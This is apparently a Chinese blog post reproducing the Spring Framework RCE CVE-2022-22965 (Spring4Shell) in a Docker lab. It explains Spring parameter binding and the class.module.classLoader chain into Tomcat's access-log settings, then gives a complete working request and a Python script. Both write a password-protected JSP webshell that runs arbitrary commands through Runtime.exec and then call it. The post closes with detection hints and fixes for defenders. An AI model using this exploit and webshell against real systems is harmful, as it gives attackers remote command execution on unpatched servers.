热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SpringRCE漏洞CVE202222965复现分析

目录前言:(一)了解Spring框架1、springframework2、SpringBoot(二)漏洞介绍受影响范围

目录

前言:

(一)了解Spring框架

1、spring framework

2、Spring Boot

(二) 漏洞介绍

受影响范围:

不受影响版本:

基础知识

利用思路:

Tomcat日志:

access_log属性:

(三)漏洞复现

1、进入并启动

2、漏洞复现

1、BP抓包,加入代码

(四)排查思路

(五)漏洞修复

1、WAF等安全组件防护

2、官方修补




前言:


        关于CVE-2022-22965漏洞的环境调试和内容,网上看了一波,感觉有些知识点内容还是必须要了解才能理解该漏洞,为此详细写了下从Spring框架结构分析,环境搭建到漏洞分析调试整体的一个过程理解,在遇到其他类型的漏洞也可以去调试运用。



(一)了解Spring框架



      由于本文主要介绍漏洞原理流程,所以有关框架不会具体展开,会将涉及到的内容进行解释。


1、spring framework


     它是Java最流行的一个框架,基于Spring我们可以直接调用实现一些简单的业务逻辑即可使用,同时也包含了许多高级的功能,比如面向切面编程,也可以非常简单的和其他组件进行集成,比如说我们用Spring访问数据库Redis......它都已经提供了相应的接口。



2、Spring Boot


        但是spring的配置非常繁琐,后来出现了Spring Boot , 其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。下图就直观表现了他们之间的关系



 Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。



(二) 漏洞介绍




Spring Framework RCE, Early Announcement


受影响范围:


  • Spring Framework <5.3.18
  • Spring Framework <5.2.20
  • JDK ≥ 9



不受影响版本:



  • Spring Framework = 5.3.18
  • Spring Framework = 5.2.20
  • JDK <9
  • *与Tomcat版本有关


基础知识


        在Spring MVC框架里面,假如我们在前端发请一个HTTP的请求,在后端用Controller进行接收处理,Spring提供了如果你请求的参数和你所编写的参数可以对应起来的话,它就会调用对应set和get方法(默认自带的方法)进行自动绑定,当然也可以进行多级绑定:

eg:

参数名赋值:contry.province.city.district=jianye
调用链路:
        Contry.getProvince()
        Province.getCity()
        City.getDistrict()
        District.setDistrictName()
江苏->南京->建邺


eg:


import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;@Controller
public class UserController {
@RequestMapping(“/addUser”)
public @ResponseBody String addUser(User user) {
return “OK”;
}
}public class User {
private String name;
private Department department;public String getName() {
return name;
}public void setName(String name) {
this.name = name;
}public Department getDepartment() {
return department;
}public void setDepartment(Department department) {
this.department = department;
}
}public class Department {
private String name;public String getName() {
return name;
}public void setName(String name) {
this.name = name;
}
}

当请求为/addUser?name=test&department.name=SEC时,public String addUser(User user)中的user参数内容如下:



  • PropertyDescriptor
        JDK自带:
  1. Java Bean PropertyDescriptor
  2. 自动调用类对象的get/set方法

eg:

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals(“name”)) {
userNameDescriptor = descriptor;
System.out.println(“userNameDescriptor: “ + userNameDescriptor);
System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, “bar”);
}
}
System.out.println(“After modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
}
}userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumeratiOnValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar

从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合


  • BeanWrapperImpl(使上面调用更加简单)

  1. Spring自带:
  2. BeanWrapperImpl
  3. 对Spring容器中管理的对象,自动调用get/set方法

eg:

import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);
Department department = new Department();
department.setName(“SEC”);
user.setDepartment(department);BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println(“userBeanWrapper: “ + userBeanWrapper);System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));userBeanWrapper.setPropertyValue(“name”, “bar”);
userBeanWrapper.setPropertyValue(“department.name”, “IT”);System.out.println(“After modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
}
}userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT

从上述代码和输出结果可以看到,通过BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor要简单很多。


利用思路:


        通过Controller的参数赋值(自动绑定), 可以修改任意对象的属性值,假如说我们修改一个文件名和保存路径,写入一个话木马,用中国蚁剑连接,控制整个项目,那么我们就成功实现入侵。这个文件就是Tomcat


Tomcat日志:

 我们想利用的就是access_log属性值里面的内容。


access_log属性:


  • directory: access_log文件输出目录
  • prefix: access_log文件名前缀
  • suffix: access_log文件名后缀
  • pattern: access_log文件内容格式
  • fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd

在server.xml里面就配置了对应的文件名和保存路径,在它里面我们找到了类名。


调用链

class.module.classLoader.resources.context.parent.pipeline.first.pattern User.getClass() java.lang.Class.getModule() java.lang.Module.getClassLoader() org.apache.catalina.loader.ParallelWebappClassLoader.getResources() org.apache.catalina.webresources.StandardRoot.getContext() org.apache.catalina.core.StandardContext.getParent() org.apache.catalina.core.StandardHost.getPipeline() org.apache.catalina.core.StandardPipeline.getFirst() org.apache.catalina.valves.AccessLogValve.setPattern



(三)漏洞复现




1、进入并启动

cd spring/CVE-2022-22965
docker-compose up -d

 启动需要一定的时间,主要看电脑的性能。




2、漏洞复现


        访问网页并且进行抓包,修改红色框中的内容,其内容的简单目的是写入恶意代码到webapps/ROOT目录下的fuck.jsp文件中,在访问该文件的时候,需要验证密码pwd之后才能够执行需要执行的命令cmd。(PS:每次写完shell会有缓存,因此payload没打成功请重启)


GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1suffix: %>//
c1: Runtime
c2: <%

看似复杂,实质上就是反复调用get和set方法,进行复制取值修改路径注入一句话木马,我们来具体分析一下。


1、BP抓包,加入代码

首先对suffix(后缀名)、c1(路径)、c2(文件名)参数进行替换。
经过处理之后,有些java基础的人已经看出来了这是一个写入webshell的语法
首先判断pwd是否是fuck,如果通过就执行cmd命令写入一句话木马,我们可以通过中国蚁进行连接,密码就是参数名pwd
GET
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
<% if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b)); }
}%>//
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp //后缀名是jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT //路径是webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck //文件名字是fuck
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

        进入到容器内部,查看是否生成了fuck.jsp,发现成功生成了fuck.jsp,并且其内部的内容也是成功写入了

docker ps
docker exec -it 7c /bin/bash
cd webapps/ROOT
cat fuck.jsp

感觉上述步骤麻烦,直接自己写pthyon脚本进行攻击

import requestsheaders={"suffix": "%>//","c1": "Runtime","c2": "<%"
}payload1=&#39;/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&#39;
ip="http://192.168.1.136:8080"
payload2=&#39;/fuck.jsp?pwd=fuck&cmd=id&#39;try:U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)U2=requests.get(url=ip+payload2,verify=False,timeout=3)if U2.status_code == 200:print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace(&#39;/&#39;,&#39;&#39;)}")
except Exception as e:print(e)


(四)排查思路




  1. Spring 参数绑定功能
  2. JDK版本 9+
  3. Tomcat部署方式及版本
  4. Tomcat Access功能
  5. 流量分析
  6. 日志分析


(五)漏洞修复




(参考: 深信服千里目安全实验室)



1、WAF等安全组件防护


在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对“class.”“Class.”“.class.”“.Class.”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。



2、官方修补


更新升级到最新版本。链接如下:
https://github.com/spring-projects/spring-framework/tags
注:Spring Framework 5.3.18和Spring Framework 5.2.20是 Spring 官方提供的两个安全版本



推荐阅读
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • t-io 2.0.0发布-法网天眼第一版的回顾和更新说明
    本文回顾了t-io 1.x版本的工程结构和性能数据,并介绍了t-io在码云上的成绩和用户反馈。同时,还提到了@openSeLi同学发布的t-io 30W长连接并发压力测试报告。最后,详细介绍了t-io 2.0.0版本的更新内容,包括更简洁的使用方式和内置的httpsession功能。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • Imtryingtofigureoutawaytogeneratetorrentfilesfromabucket,usingtheAWSSDKforGo.我正 ... [详细]
  • 网络请求模块选择——axios框架的基本使用和封装
    本文介绍了选择网络请求模块axios的原因,以及axios框架的基本使用和封装方法。包括发送并发请求的演示,全局配置的设置,创建axios实例的方法,拦截器的使用,以及如何封装和请求响应劫持等内容。 ... [详细]
  • Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案
    本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ... [详细]
  • 本文讨论了在shiro java配置中加入Shiro listener后启动失败的问题。作者引入了一系列jar包,并在web.xml中配置了相关内容,但启动后却无法正常运行。文章提供了具体引入的jar包和web.xml的配置内容,并指出可能的错误原因。该问题可能与jar包版本不兼容、web.xml配置错误等有关。 ... [详细]
  • Java如何导入和导出Excel文件的方法和步骤详解
    本文详细介绍了在SpringBoot中使用Java导入和导出Excel文件的方法和步骤,包括添加操作Excel的依赖、自定义注解等。文章还提供了示例代码,并将代码上传至GitHub供访问。 ... [详细]
  • Spring框架《一》简介
    Spring框架《一》1.Spring概述1.1简介1.2Spring模板二、IOC容器和Bean1.IOC和DI简介2.三种通过类型获取bean3.给bean的属性赋值3.1依赖 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • SpringBoot简单日志配置
     在生产环境中,只打印error级别的错误,在测试环境中,可以调成debugapplication.properties文件##默认使用logbacklogging.level.r ... [详细]
author-avatar
懓瑞巴蒂
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有